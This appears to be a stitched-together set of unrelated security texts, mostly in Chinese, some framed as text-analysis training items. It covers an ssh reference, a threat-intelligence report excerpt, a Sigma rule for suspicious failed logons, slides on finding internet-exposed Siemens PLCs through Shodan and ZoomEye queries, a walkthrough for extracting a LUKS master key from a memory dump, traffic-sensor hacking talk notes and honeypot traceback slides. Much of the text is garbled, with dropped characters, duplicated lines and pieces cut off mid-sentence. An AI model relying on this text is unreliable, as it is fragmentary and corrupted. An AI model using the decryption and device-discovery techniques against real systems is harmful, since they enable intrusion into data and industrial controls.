在处理理字符串串时我们可以使用类似以下示例例的包 strconv 包处理理到其他数据类型的字符串串转换 Atoi ParseBool ParseFloat ParseInt strings 包包含处理理字符串串及其属性的所有函数 Trim ToLower ToTitle regexp 包支持正则表达式以适应自定义格式 utf8 包实现函数和常量量以支持以UTF-8编码的文本它包括在runes和utf-8字节序列列之间转换的函数 Valid验证UTF-8编码 ValidRune验证UTF-8编码 ValidString验证UTF-8编码 EncodeRuneUTF-8编码 DecodeLastRuneUTF-8解码 DecodeLastRuneInStringUTF-8解码 注意Form被go视为字符串串值的映射 确保数据有效性的其他技术包括 白名单-尽可能根据允许的字符白名单验证输入请参见Validation - Strip tags 边界检查-应验证数据和数字长度 字符转义-用于特殊字符如独立引号 数字验证-如果输入是数字 检查空字节-%00 检查新行行字符-%0d%0a\r\n 检查路路径更更改字符-../或\.. 检查扩展的UTF-8-检查特殊字符的可选表示形式 注意确保HTTP请求和响应头只包含ASCII字符 存在处理理go中安全性的第三方软件包 Gorilla是Web应用程序安全性最常用的包之一它支持websocketsco


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ssh === openssh套件中的客户端连接工具 ## 补充说明 **ssh命令** 是openssh套件中的客户端连接工具可以给予ssh加密协议实现安全的远程登录服务器 ### 语法 ```shell ssh(选项)(参数) ``` ### 选项 ```shell -1强制使用ssh协议版本1 -2强制使用ssh协议版本2 -4强制使用IPv4地址 -6强制使用IPv6地址 -A开启认证代理连接转发功能 -a关闭认证代理连接转发功能 -b使用本机指定地址作为对应连接的源ip地址 -C请求压缩所有数据 -F指定ssh指令的配置文件 -f后台执行ssh指令 -g允许远程主机连接主机的转发端口 -i指定身份(私钥)文件 -l指定连接远程服务器登录用户名 -N不执行远程指令 -o指定配置选项 -p指定远程服务器上的端口 -q静默模式 -X开启X11转发功能 -x关闭X11转发功能 -y开启信任X11转发功能 ``` ### 参数 * 远程主机指定要连接的远程ssh服务器 * 指令要在远程ssh服务器上执行的指令 ### 实例 ```shell # ssh 用户名@远程服务器地址 ssh user1@172.24.210.101 # 指定端口 ssh -p 2211 root@140.206.185.170 # ssh 大家族 ssh -p 22 user@ip # 默认用户名为当前用户名默认端口为 22 ssh-keygen # 为当前用户生成 ssh 公钥 + 私钥 ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SSH2(default) PKCS8 PEM ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务器的 ~/.ssh/authorized_keys之后可以免密登录 ``` 连接远程服务器 ```shell ssh username@remote_host ``` 连接远程服务器并指定端口 ```shell ssh -p port username@remote_host ``` 使用密钥文件连接远程服务器 ```shell ssh -i path/to/private_key username@remote_host ``` 在本地执行远程命令 ```shell ssh username@remote_host "command" ``` 在本地复制文件到远程服务器 ```shell scp path/to/local_file username@remote_host:/path/to/remote_directory ``` 在远程服务器复制文件到本地 ```shell scp username@remote_host:/path/to/remote_file path/to/local_directory ``` 在本地端口转发到远程服务器 ```shell ssh -L local_port:remote_host:remote_port username@remote_host ``` 在远程服务器端口转发到本地 ```shell ssh -R remote_port:local_host:local_port username@remote_host ``` ### 背后故事 > 英文Tatu Ylonen > 编译Linux中国/kenxx > 来源https://linux.cn/article-8476-1.html 为什么 SSH安全终端的端口号是 22 呢这不是一个巧合这其中有个我Tatu YlonenSSH 协议的设计者未曾诉说的故事 #### 将 SSH 协议端口号设为 22 的故事 1995 年春我编写了 SSH 协议的最初版本那时候 telnet 和 FTP 正被广泛使用 当时我设计 SSH 协议想着是为了替代 telnet端口 23和 ftp端口21两个协议的而端口 22 是空闲的我想当然地就选择了夹在 telnet 和 ftp 的端口中间的数字我觉得端口号虽然是个小事但似乎又存在着某种信念但我到底要怎么拿到那个端口号呢我未曾拥有过任何一个端口号但我却认识几个拥有端口号的人 在那时取得端口号的事情其实说来挺简单的毕竟当时的因特网Internet并不是很大是因特网爆炸的早期端口号分配的活儿是 IANAInternet Assigned Numbers Authority互联网数字分配机构干的在那时这机构可相当于是因特网先驱 [Jon Postel](https://en.wikipedia.org/wiki/Jon_Postel) 和


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CHINESE STATE-SPONSORED GROUP REDDELTA TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS CTA-CN-2020-0728 By Insikt Group  CYBER THREAT ANALYSIS CHINA Recorded Future | www.recordedfuture.com CTA-CN-2020-0728 1 Insikt Group researchers used proprietary Recorded Future Network Traffic Analysis and RAT controller detections, along with common analytical techniques, to identify and profile a cyberespionage campaign attributed to a suspected Chinese state-sponsored threat activity group, which we are tracking as RedDelta. Data sources include the Recorded Future Platform, Farsight Securitys DNSDB, SecurityTrails, VirusTotal, Shodan, BinaryEdge, and common OSINT techniques. This report will be of greatest interest to network defenders of private sector, public sector, and non-governmental organizations with a presence in Asia, as well as those interested in Chinese geopolitics. Executive Summary From early May 2020, The Vatican and the Catholic Diocese of Hong Kong were among several Catholic Church-related organizations that were targeted by RedDelta, a Chinese-state sponsored threat activity group tracked by Insikt Group. This series of suspected network intrusions also targeted the Hong Kong Study Mission to China and the Pontifical Institute for Foreign Missions (PIME), Italy. These organizations have not been publicly reported as targets of Chinese threat activity groups prior to this campaign. These network intrusions occured ahead of the anticipated September 2020 renewal of the landmark 2018 China-Vatican provisional agreement, a deal which reportedly resulted in the Chinese Communist Party (CCP) gaining more control and oversight over the countrys historically persecuted underground Catholic community. In addition to the Holy See itself, another likely target of the campaign includes the current head of the Hong Kong Study Mission to China, whose predecessor was considered to have played a vital role in the 2018 agreement. The suspected intrusion into the Vatican w


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# 63. 股票的最大利润 ## 题目链接 [Leetcode121. Best Time to Buy and Sell Stock ](https://leetcode.com/problems/best-time-to-buy-and-sell-stock/description/) ## 题目描述 可以有一次买入和一次卖出买入必须在前求最大收益

 ## 解题思路 使用贪心策略假设第 i 轮进行卖出操作买入操作价格应该在 i 之前并且价格最低因此在遍历数组时记录当前最低的买入价格并且尝试将每个位置都作为卖出价格取收益最大的即可 ```java public int maxProfit(int[] prices) { if (prices == null || prices.length == 0) return 0; int soFarMin = prices[0]; int maxProfit = 0; for (int i = 1; i < prices.length; i++) { soFarMin = Math.min(soFarMin, prices[i]); maxProfit = Math.max(maxProfit, prices[i] - soFarMin); } return maxProfit; } ```


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主办方 赞助商 双传统物流安全成长分享 张天宇 目录 01 观现状 02 看成果 03 搞事情 04 干正事 安全行业现状 金融党政公检法 区块链互联网 文化食品等 传统物流制造医疗 业务型 监管型 低迷型 传统型 监管强 投入高 上汽安吉物流 汽车及装备 供应链 解决方案 社会化快运 智能与信息 国际物流 供应链金融  整车物流 装备物流 航运物流 口岸物流 零部件物流 非汽车物流 零部件预装 双传统面临的困局 1业务没有安全压力 无驱动无监管 2领导层不关心安全 无投入没资源 3国企老员工 不支持不配合别麻烦没好处免谈 目录 观现状 02 看成果 03 搞事情 04 干正事 01 上汽集团 上汽大众 上汽通用 安吉物流 信息公司 IT部 信息安全 组 信息安全 部 安全部发展历程 IT部下属安全组 与IT平级的信息安全部门 集团安全部门 2020年 2019年 2018年 安全部-职责 1集团安全方针标准监督 2信息安全建设(总部分子公司) 3上汽安吉物流SRC内部外部 4科技公司输出产品服务 5外部影响力安全生态建设 目录 观现状 02 看成果 03 搞事情 04 干正事 01 跟业务搞事情-应急响应 黑客 正常用户 通过Web Socket代理打通到内网的隐秘隧道 12月25日安装 HIDS入侵检测 1月4号全盘检查 发现后门程序 XXXX内网 官网Web服务器 其他服务器 后门创建日期为20172018年2年时间未能发现 跟业务搞事情-事件分析 圆通个人信息泄露事件分析v4.1 跟领导搞事情 2将信息安全加入生产安全管理委员会范畴 定期组织工作汇报推动安全建设 1组织最高领导层学习培训企业负责人信 息安全手册 中华人民共和国网络安全法 信息安全等级保护管理办法 中华人民共和国数据安全法草案  中华人民共和国民法典 个人信息保护法草案 App违法违规收集使用个人信息行为认定方法 上汽集团所属企业实施网络安全管理考核评价方案  信息安全法律法规相继出台建设信息安全体系不 仅能够提升企业整体信息安全防护强度还避免了企业 法人承担网络安全相关法律法规处罚的风险 法律法规: 没有网络安全就没有国家安全 网络安全和信息化 是一体之两翼驱动之双轮 必须统一谋划 统一部署统一推进统一实施 习近平 违法行为 处罚类型 责令整改 警告 罚款 停业整顿 吊销执照 刑事处罚 未实施等保 违法收集使用篡改出售公民信 息 未妥善保护公民信息 未及时阻止违规信息发布 未消除及保存记录 未制定安全应急预案 违法处罚风险 1已举办两届信息安全冲顶大会提高员 工信息安全意识和技能  吸引全国50+家分子公司参与  平台访问+公众号文章阅读1.7万+次  活动文章转发阅读5000+次 2创办公众号上汽安吉安全应急响应中心 持续输出信息安全文化和技能  已发布60+篇安全技术意识等文章  覆盖1400+名关注用户 跟同事搞事情-安全冲顶大会 黑客体验区 泄露数据查询 USB安全充电模块 隐藏摄像头查找 入侵实战模拟 网站钓鱼演示 wifi钓鱼演示 物联网安全演示  跟同事搞事情-安全冲顶大会 跟分子公司搞事情-安全标准  对各单位进行IT资产的评估制定基础安全技术服务的建设方案 跟分子公司搞事情-基础安全Saas方案 SAAS服务平台 应用防火墙 入侵防御系统 终端安全PC主机 基础架构漏洞管理系统 应用安全漏洞管理系统 目录 观现状 02 看成果 03 搞事情 04 干正事 01 1信息安全管理体系 2产品&服务 PPDR安全服务体系为企业提供数字化全生命周期的安全保障 Policy 策略  安全体系建设  等级保护咨询 Detection 检测  渗透测试服务  SRC平台 Protection 保护  基础安全SaaS服务平台  数据安全  业务安全 Response 响应  应急响应服务 四大服务 四大平台 3.1基础安全SaaS服务平台--产品架构 3.2基础安全SaaS服务平台安全大屏 4.1SDL-安全开发流程 需求分析 软件开发 发布部署 架构设计 软件测试 项 目 建 立 威胁建模 黑盒测试 部署前 流程化 安全活动 工程阶段 活动依据 预计 人日 评估结果输出 1 方案制定 准备阶段 1客户明确安全需求 2根据场景安全评估 无 安全解决方案 2 需求分析 需求分析阶 段 1根据场景需求分析 2基于安全售前方案特殊安全需求分析 1 安全需求分析 3 安全架构评审 设计阶段 安全架构评审规则 1 安全架构审核报告 4 应用安全测试 测试阶段 安全类编码指南 5 应用安全测试报告 5 主机安全检测 部署阶段 基线标准 1 主机安全检测报告 含基线检测漏洞检测 6 安全方案实施 安全架构设计框架 1 安全实施结果 72个已完成项目 4.2SDL


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# Trend Micro CTF 2018 Quals Team: nazywam, pwn.m0d3, shalom, sasza, akrasuski1, rodbert ### Table of contents * [Java pwn (misc)](misc_deserializer) * [Ocean of sockets (forensics)](for_ocean) * [Deep dive (forensics)](for_dive) * [Constellation (misc)](misc_constellation) * [RSA (crypto)](crypto_rsa) * [ACME (crypto)](crypto_acme) * [Feistel (crypto)](crypto_feistel) * [Parsletongue (re)](re_parsle)


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Hacking E.S.P. Hacking E.S.P. Disclaimer Disclaimer The views and opinions expressed in this The views and opinions expressed in this presentation are solely those of the presentation are solely those of the speakers and do not necessarily reflect speakers and do not necessarily reflect opinions of their employers, Defcon, the opinions of their employers, Defcon, the Riviera, residents of Las Vegas, residents Riviera, residents of Las Vegas, residents of Nevada, anyone in the United States or of Nevada, anyone in the United States or on the Planet Earth. Nothing we are saying on the Planet Earth. Nothing we are saying should be construed as legal advice. Don't should be construed as legal advice. Don't rely on anything that we say, do your own rely on anything that we say, do your own research. research. Who We Are! Who We Are! Joe Cicero is currently a Network Specialist Instructor for Joe Cicero is currently a Network Specialist Instructor for Northeast Wisconsin Technical College, he specializes in Northeast Wisconsin Technical College, he specializes in teaching Linux, Network Security, and Computer Forensics teaching Linux, Network Security, and Computer Forensics Courses. Joe has had positions covering every aspect of Courses. Joe has had positions covering every aspect of computers including: Help Desk Support, Technician, computers including: Help Desk Support, Technician, Programmer, Network Administrator, Directory of Technology, Programmer, Network Administrator, Directory of Technology, Columnist and of course Instructor. He is most passionate Columnist and of course Instructor. He is most passionate about teaching and enjoys having the time to "tinker" with all about teaching and enjoys having the time to "tinker" with all types of technology. types of technology. Michael Vieau is a independent security researcher located in Michael Vieau is a independent security researcher located in United States where he conducts security assessments & United States


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安全文本分析：

# T1078-003-win-可疑的失败登录行为 ## 来自ATT&CK的描述 攻击者可能会使用凭据访问技术窃取特定用户或服务账号的凭据或者在早期的侦察过程通过社会工程捕获凭据以获得首次访问权限 攻击者可以使用三种账号默认账号本地账号和域账号默认账号是操作系统的内置账号例如Windows系统上的访客或管理员账号或者其他类型系统软件或设备上的默认工厂/提供商账号本地账号是组织配置给用户远程支持或服务的账号或单个系统/服务的管理账号域账号是AD-DS活动目录域服务管理的账号其访问和权限在域内不同系统和服务之间配置域账号可以涵盖用户管理员和服务 攻击者可以使用窃取的凭据绕过网络内系统上各种资源的访问控制甚至可用于对远程系统和外部可用服务如VPNOutlook Web Access和远程桌面的持久访问攻击者还可能通过窃取的凭据获得特定系统的更多权限或网络受限区域的访问权限攻击者可以选择不将恶意软件或工具与这些凭据提供的合法访问结合使用这样就更难检测到它们的存在 默认账号并不限于客户端机器上的访客和管理员它们还包括为设备如网络设备和计算机应用预设的账号无论这些设备是内部的开源的还是COTS如果设备预设了用户名和密码组合而且安装后不更改将会对组织构成严重威胁因为它们很容易成为攻击者的目标同理攻击者也可能会利用公开披露的私钥或盗取的私钥通过远程服务合法地连接到远程环境 我们需要关注跨系统网络的账号访问凭据和权限的重叠因为攻击者也许能够跨账号和系统切换以获得较高的访问级别域或企业管理员从而绕过企业内设置的访问控制 ## 测试案例 windows账户登录失败 ## 检测日志 windows 安全日志 ## 测试复现 场景较简单请自行测试 ## 测试留痕 windows安全事件IDwin7 / win2008+ ## 检测规则/思路 ### sigma规则 ```yml title: 帐户篡改-可疑的失败登录原因 description: 此方法对失败的登录使用不常见的错误代码来确定可疑活动并篡改已禁用或受某种方式限制的帐户 author: 12306Br0(测试+翻译) date: 2020/06/09 references: - https://twitter.com/SBousseaden/status/1101431884540710913 tags: - attack.persistence - attack.privilege_escalation - attack.t1078 logsource: product: windows service: security detection: selection: EventID: - 4625 #普通账户登录失败 - 4776 #域账户登录失败 Status: - '0xC0000072' # 用户登录到帐户已被管理员禁用 - '0xC000006F' # 用户在授权时间之外登录 - '0xC0000070' # 用户从未经授权的工作站登录 - '0xC0000413' # 登录失败您登录的计算机受到身份验证防火墙的保护 指定的帐户不允许对计算机进行身份验证 - '0xC000018C' # 登录请求失败因为主域和可信域之间的信任关系失败 - '0xC000015B' # 用户尚未在此计算机上被授予请求的登录类型也称为登录权限 condition: selection falsepositives: - 使用禁用帐户的用户 level: high ``` 注意此规则主要是针对用户账户登录失败行为状态码进行分析 ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1078-003 <https://attack.mitre.org/techniques/T1078/003>


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安全文本分析：

1 luks 全盘加密的个通解密法--从内存中提 取LUKS MASTER KEY 前 破解LUKS全盘加密 从内存镜像中提取MASTER KEY 第步 判断加密算法 第步 DUMP 包含秘钥的内存 第三步 从内存寻找aes key 第四步 解密分区 第五步 解密其他分区 作者:橙酱 之前的章中提到了种有启动分区的情况 磁盘主引导->引导分区->引导内核->系统启动->解密挂载分区 (个引导分区 +个主分区) 遇到这种情况就可以通过简单的提取件系统中的秘钥解决. 但是运不好还会遇到两种更变态的情况 磁盘主引导->引导分区->引导内核->引导内核中解密挂载分区->系统启动->解密挂载分区(只有个引 导分区) 磁盘主引导->磁盘引导程序->解密分区->引导->系统启动->解密其他分区 (个明分区都没有) 前 2 这时,通常只能通过逆向引导程序来提取内核镜像.最终拿到镜像中的秘钥件. 这个过程分的繁琐. 在没有符号表的情况逆向魔改过的linux引导内核也常困难. 那么有没有个简单的法解决这个问题呢? luks 解密进磁盘后硬盘上的数据实际仍然是加密的. 为了可以实时读写加密分区内的数据,加解密使的秘钥定存在于内存之中. 破解LUKS全盘加密 钱镜洁 魏鹏 沈达. LUKS加密卷的离线解密技术分析[J]. 信息络安 全, 2014, 14(9): 217-219. 3 挂载硬盘 使cryptsetup luksDump 判断分区使的加密算法 本使的是 AES 256 加密 (默认加密算法) 在虚拟机第个分区完成解密后,dump虚拟机完整内存 (快照 暂停 命令 均可) 使具从内存寻找aes key https://sourceforge.net/projects/findaes/ https://github.com/mmozeiko/aes-finder https://www.kali.org/tools/aeskeyfind/ 从内存镜像中提取MASTER KEY 第步 判断加密算法 第步 DUMP 包含秘钥的内存 第三步 从内存寻找aes key 4 选择对应度的key hex转成raw件作为key 第四步 解密分区 5 ryptsetup luksOpen 加密的分区 --master-key-file key件 挂载名 依次尝试各个分区和各个秘钥的组合 错误返回即为解密成功. 挂载解密后的分区,在解密后寻找动挂载件 /etc/crypttab 得到其他秘钥位置. 之后的步骤就按照之前的章操作 第五步 解密其他分区


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安全文本分析：

'\" t .\" Don't change the first line, it tells man that we need tbl. .\" This man page is Copyright (C) 1999 Andi Kleen . .\" and copyright (c) 1999 Matthew Wilcox. .\" Permission is granted to distribute possibly modified copies .\" of this page provided the header is included verbatim, .\" and in case of nontrivial modification author and date .\" of the modification is added to the header. .TH SOCKET 7 "7 May 1999" "Linux Man Page" "Linux Programmer's Manual" .SH NAME socket \- Linux 套接字 .SH 总览 .B #include <sys/socket.h> .br .IB mysocket " = socket(int " socket_family ", int " socket_type ", int " protocol ); .SH 描述 本手册页介绍了 Linux 套接字的用户接口. 这个 BSD 兼容套接字是介于用 户进程与内核网络协议栈之间的统一接口, 各协议模块属于不同的 .I 协议族 ,如 .BR PF_INET ", " PF_IPX ", " PF_PACKET 和 .I 套接字类型 ,如 .B 字节流SOCK_STREAM 或 .BR 数据报SOCK_DGRAM. 关于协议族和套接字类型请参考 .BR socket (2) "." .SH 套接层函数 用户通过这些套接字函数发送和接收包, 以及其他套接字操作. 详细说明参看他们各自的手册页. .BR socket (2) 创建套接字 .PP .BR connect (2) 与远程套接字地址建立连接 .PP .BR bind (2) 把套接字和一个本地套接字地址绑定在一起为套接字分配一个本地协议地址 .PP .BR listen (2) 通知套接字接受新的连接 .PP .BR accept (2) 为新的已完成连接获得新的描述字 .PP .BR socketpair (2) 返回两个连接的匿名套接字仅在某些本地族中才有实现,如 .BR PF_UNIX "" .PP .BR send (2), .PP .BR sendto (2), 和 .BR sendmsg (2) 通过套接字发送数据而 .BR recv (2), .BR recvfrom (2), .BR recvmsg (2) 从套接字接收数据. .BR poll (2) 和 .PP .BR select (2) 等待数据到来或准备好接收数据. 除此之外, 标准 I/O 操作如 .BR write (2), .BR writev (2), .BR sendfile (2), .BR read (2), 和 .BR readv (2) 也可用来读入接收和写出发送数据. .PP .BR getsockname (2) 用于获得本地套接字地址 .PP .BR getpeername (2) 用于获得远端套接字地址. .BR getsockopt (2) 和 .BR setsockopt (2) 用于设置或取得套接字或协议选项. .BR ioctl (2) 也可以用来设置或读取一些其他选项. .PP .BR close (2) 关闭套接字. .BR shutdown (2) 关闭全双工套接字连接的一部分. .PP 套接字不支持搜索也不支持调用 .BR pread (2) 或 .BR pwrite (2) 进行非 0 位置的操作. 可以用 .BR fcntl (2). 设置 .B O_NONBLOCK 标志来实现对套接字的非阻塞 I/O 操作 .B O_NONBLOCK 是从 accept 继承来的然后原来所有会阻塞的操作会返回 .BR EAGAIN . .BR connect (2) 在此情况下返回 .B EINPROGRESS 错误. 用户可以通过 .BR poll (2) 或者 .BR select (2) 等待各种事件. .PP .TS tab(:) allbox; c s s l l l. I/O 事件 事件:轮询标志:发生事件 读:POLLIN:T{ 新数据到达. T} 读:POLLIN:T{ (对面向连接的套


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

Exploit PLC on the internet Z-0ne 概述 什么是PLC 为什么会联网 PLC  Programmable Logic Controller  电源  CPU  存储  I/O  网络模块 PLC功能  PLC功能  顺序控制  逻辑控制  PLC应用  自动化控制  过程控制 其他  PLC内核  Codesys  ProConos  底层操作系统  Linux  Vxworks  WinCE  通信协议  通用  Modbus  私有  S7  Omron FINS PLC通信  串行  RS232/485  专用  MPI  以太网  TCP/IP  UDP 网络武器的目标  Stuxnet作为网络武器其最终的目标也是西 门子PLC  劫持通信  注入自己的逻辑程序 联网的隐患(1)  PLC暴露在互联网是比SCADA更大的安全隐 患  未授权访问  设备的用户等级保护缺失  通信协议的脆弱性 联网的隐患(2)  PLC暴露在互联网是比SCADA更大的安全隐 患  控制流程工艺  位于更底层  可能为关键基础设施 P L P L P L P L APPLICATION MES应用 ERP 信息层 管理层 控制层 设备层 联网的趋势  远程数据通信/远程维护催生了联网的需求  方便快捷  减少了现场运维的成本  统一管理 联网的解决方案(1) 联网的解决方案(2) 联网的解决方案(2) PLC ON THE INTERNET 西门子PLC全球统计报告 西门子PLC公网蜜罐统计 西门子S7协议 蜜罐应用案例 联网的风险案例 S7-1200硬件形态 S7-300硬件形态 西门子PLC CPU模块全球统计报告(1)  使用S7协议(TCP/102)对互联网进行扫描探测  http://www.zoomeye.org/search?q=port%3A102  https://www.shodan.io/search?query=Module+po rt%3A102  全球数据 (能成功读出模块型号的数据)  ZoomEye à 1446  Shodan à 2749  Plcscan.org à 2215 西门子PLC CPU模块全球统计报告(2)  使用S7协议(TCP/102)对互联网进行扫描探测  Nmap à s7-enumerate.nse(TSAP:0102)  PG mode  Rack:0 Slot:2 西门子PLC CPU模块全球统计报告(3)  国家排行  德国 350  意大利 255  美国 179  西班牙 146  土耳其 124  波兰 113  法国 108  捷克 74  丹麦 67  奥地利 64 西门子PLC CPU模块全球统计报告(4)  模块货号排行  6ES7 214-1AG31-0XB0 145  6ES7 214-1AE30-0XB0 142  6ES7 212-1HE31-0XB0 129  6ES7 315-2AG10-0AB0 129  6ES7 151-8AB01-0AB0 121  6ES7 315-2EH14-0AB0 120  6ES7 315-2AH14-0AB0 88  6ES7 214-1BG31-0XB0 74  6ES7 314-6EH04-0AB0 74  6ES7 313-5BF03-0AB0 73 西门子PLC CPU模块全球统计报告(5)  固件版本排行  Version: 3.0.2 472  Version: 2.2.0 142  Version: 2.6.0 113  Version: 4.0.0 96  Version: 2.6.11 76  Version: 3.2.10 76  Version: 3.2.6 69  Version: 3.3.8 59  Version: 3.2.3 59  Version: 3.2.8 55 西门子PLC CP模块全球统计报告(1)  使用S7协议(TCP/102)对互联网进行扫描探测  Nmap à s7-enumerate.nse(TSAP:0100)  Rack:0 Slot:0  全球数据(能成功读出模块型号的数据)  Plcscan.org à 486 西门子PLC CP模块全球统计报告(2)  使用S7协议(TCP/102)对互联网进行扫描探测  Nmap à s7-enumerate.nse(TSAP:0100)  PG mode  Rack:0 Slot:0 西门子PLC CP模块全球统计报告(3)  国家排行  意大利 91  德国 76  西班牙 32  法国 29  瑞士 26  捷克 25  丹麦 23  美国 18  波兰 14  中国 14 西门子P


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

IOActive, Inc. Copyright 2014. All Rights Reserved. Hacking Traffic Control Systems (U.S, UK, Australia, France, etc.) Cesar Cerrudo @cesarcer CTO, IOActive Labs IOActive, Inc. Copyright 2014. All Rights Reserved. About Me  Hacker, vulnerability researcher, created novel exploitation techniques, dozens of vulnerabilities found (Microsoft Windows, SQL Server, Oracle, etc.).  Developed, sold exploits, and 0day vulnerabilities (7-10 years ago)  CEO of software company  CTO at IOActive labs  Live in small city in third world country, far away from everything IOActive, Inc. Copyright 2014. All Rights Reserved. Thanks  Barnaby Jack  Ruben Santamarta  Mike Davis  Mike Milvich  Susan Wheeler  Ian Amit  Robert Erbes IOActive, Inc. Copyright 2014. All Rights Reserved. How all started  Found news that London was going to implement wireless devices for traffic detection  After some research found the devices vendor name  Vendor ended up being interesting target, widely deployed  +250 customers in 45 US States and 10 countries  200,000+ Wireless sensors deployed worldwide, most of them on the US  Countries include US, United Kingdom, China, Canada, Australia, France, etc.  After reading available documentation I had strong feeling the devices were insecure IOActive, Inc. Copyright 2014. All Rights Reserved. How It All Started  Getting the devices  Social engineered the vendor  Shipped them to Puerto Rico and traveled with them back and forth to the U.S. from Argentina several times with no problems IOActive, Inc. Copyright 2014. All Rights Reserved. Devices: Wireless Sensors  Magnetometer, installs in a small hole  Rugged mechanical design, 10 year battery life  TI CC2430 RF transceiver IEEE 802.15.4 system-on-chip 2.4-GHz  TI MSP430 MCU (microcontroller) 16-bit RISC CPU , i386 Linux (probably TinyOS RTOS) IOActive, Inc. Copyright 2014. All Rights Reserved. Devices: Wireless Sensors IOActive, Inc. Copyright 2014. All Rights Reserved. Devices: Access Point  Processes, stores, and


Instruction: 请分析这段安全相关的文本内容

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安全文本分析：

青衣2 0 1 1 .0 8 .2 9 剑 客 世界的溯源神话 青衣2 0 1 1 .0 8 .2 9  伤心的鱼 户实验室 程序猿 渗透狗 黑阔杂志编辑 产品经理 销售 青衣2 0 1 1 .0 8 .2 9 何为溯源 青衣2 0 1 1 .0 8 .2 9 何为溯源?一个找爹的过程 一定要给孩子找到爸爸 不能让他么有爹 乔布斯大神完全就是天龙八部中乔峰都是自小没见过亲生父母被平凡养 父母带大少年成名一跃登顶然后在世人瞩目中众叛亲离含恨隐去再 然后王者归来傲凌绝顶最终盛年之时颠峰乐章戛然而止留给世界一片 惊愕他俩共用一个称谓乔帮主 溯源黑客的攻击过程就像一个给孩子找爹的过程 青衣2 0 1 1 .0 8 .2 9 美国人是如何溯源的 藏宝图计划 青衣2 0 1 1 .0 8 .2 9 6 溯源能做神马? 青衣2 0 1 1 .0 8 .2 9 7 溯源能做神马? Where why 攻击手段分析 黑客工具分析 攻击者身份个人信息 网络指纹 安全事件轨迹 攻击者历史轨迹 who 青衣2 0 1 1 .0 8 .2 9 我们如何溯源? 青衣2 0 1 1 .0 8 .2 9 9 我们如何溯源? 青衣2 0 1 1 .0 8 .2 9 10 我们如何溯源? 青衣2 0 1 1 .0 8 .2 9 11 我们如何溯源? 青衣2 0 1 1 .0 8 .2 9 12 我们如何溯源? 青衣2 0 1 1 .0 8 .2 9 蜜罐 青衣2 0 1 1 .0 8 .2 9 hack数据 14 青衣2 0 1 1 .0 8 .2 9 目前捕获的总数据量IP:20104URL: 969 用户名28387密码869544软件及版本188 日增量IP:398URL:15用户名2785密码16149软件及版本23 蜜罐搜集到的信息 青衣2 0 1 1 .0 8 .2 9 16 蜜罐搜集到的信息 青衣2 0 1 1 .0 8 .2 9 17 青衣2 0 1 1 .0 8 .2 9 18 这些信息咋用 密罐----攻击来源------自动入库-----程序提取地址并解析倒入nmap自动扫描根 据namp扫描结果调用不同程序进行检测 青衣2 0 1 1 .0 8 .2 9 19 终于有卵用了 X.220.187.X ---- 这服务器太屌 一不小心就摘了桃子... 才3100个肉机而已 青衣2 0 1 1 .0 8 .2 9 20 终于有卵用了 青衣2 0 1 1 .0 8 .2 9 21 这B到底在这干什么  扫描mfu自动探测弱口令搜集入库  运行了screen脚本然后出现一句话Toata dragostea mea pentru diavola 一直在对开放SSH的服务器进行爆破 青衣2 0 1 1 .0 8 .2 9 22 relaxscan暴力破解SSH百度一下 你全知道 这B到底在这干什么 青衣2 0 1 1 .0 8 .2 9 23 你敢动我就把你老窝端了 青衣2 0 1 1 .0 8 .2 9 24 监测到的后门程序 该后门存在于www.gzs.gov.cn上被检测 到的时间上2015年8月6日00:25分黑客 访问过3次 青衣2 0 1 1 .0 8 .2 9 25 00:25分到00:13分来自美国的 IP为199.30.18.212 的黑客通过木马对网站进行了操作具体操作可以 通过溯源系统的返回包来查看 青衣2 0 1 1 .0 8 .2 9 来就来了还你妹的拿东西 内网IP:192.168.0.163 在2015.06.07.15:23频繁请求107.151.222.17:1250 一分钟内频繁请求msmm.exe此可疑文件 32次 26 青衣2 0 1 1 .0 8 .2 9 27 青衣2 0 1 1 .0 8 .2 9 28 恶意IP1 msmm.exe 可能是远控木马107.151.222.17为美国服务器非常可能机 子是专业的上线服务器并且有可能潜伏较久木马运行时间为 2015.06.07 15:23下载32次 美国队长 青衣2 0 1 1 .0 8 .2 9 29 恶意IP2: 发现此gy.exe是一款下载者程序并且下载服务器同样为美国同时下 载者执行后会再次连接到美国服务器的1996端口很可能是更新列 表或者上线端口下载者运行时间为2015.06.06 11:43 下载两次 美国队长 青衣2 0 1 1 .0 8 .2 9 30 你敢来犯就把你老窝端了 青衣2 0 1 1 .0 8 .2 9 攻击手法分析 肉鸡数据分析 反入侵调查 黑 客 老 巢 一 日 游 青衣2 0 1 1 .0 8 .2 9 32 平台于2015年1月7号左右搭建至2015年5月6号 搜集以上数据 青衣2 0 1 1 .0 8 .2 9 5 2 f


Instruction: 请分析这段安全相关的文本内容

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# apktool包描述 apktool用于对第三方的已编译的Android应用程序(apk文件)进行逆向工程通过使用该工具你可以对apk文件进行反编译和解包所反编译出的文件和编译前几乎一直另外也可以修改部分代码并进行重新打包;当然通过apktool的反编译功能可以生成支持单步调试的samli工程同时由于apktool简化和集成了很多自动化操作并且采用了统一的工程文件结构这使得对Android apk文件逆向过程变得很轻松 apktool绝不是为了满足盗版和其他的非法之需而是可以像某个应用的开发者一样通过使用它对应用完成一些如添加功能平台适配等本地化的工作来满足自己的需要 主要功能 * 对资源文件进行高还原度解码(包括resources.arscXMLs和.9.png文件) * smali 调试SmaliDebugging * 高自动化功能 **资料来源**:https://code.google.com/p/android-apktool [apktool Homepage](http://code.google.com/p/android-apktool/)|[Kali apktool Repo](http://git.kali.org/gitweb/?p=packages/apktool.git;a=summary) - 作者Brut.alll - 许可证Apache-2.0 ## apktool包中包含的工具 ### apktool Android apk逆向工具 ``` root@kali:~# apktool Apktool v1.5.2 - a tool for reengineering Android apk files Copyright 2010 Ryszard Wiśniewski <brut.alll@gmail.com> with smali v1.4.1, and baksmali v1.4.1 Updated by @iBotPeaches <connor.tumbleson@gmail.com> Apache License 2.0 (http://www.apache.org/licenses/LICENSE-2.0) Usage: apktool [-q|--quiet OR -v|--verbose] COMMAND [...] COMMANDs are: d[ecode] [OPTS] <file.apk> [<dir>] Decode <file.apk> to <dir>. OPTS: -s, --no-src Do not decode sources. 不对dex文件进行反编译 -r, --no-res Do not decode resources. 不对资源文件进行反编译 -d, --debug Decode in debug mode. Check project page for more info. 调试模式 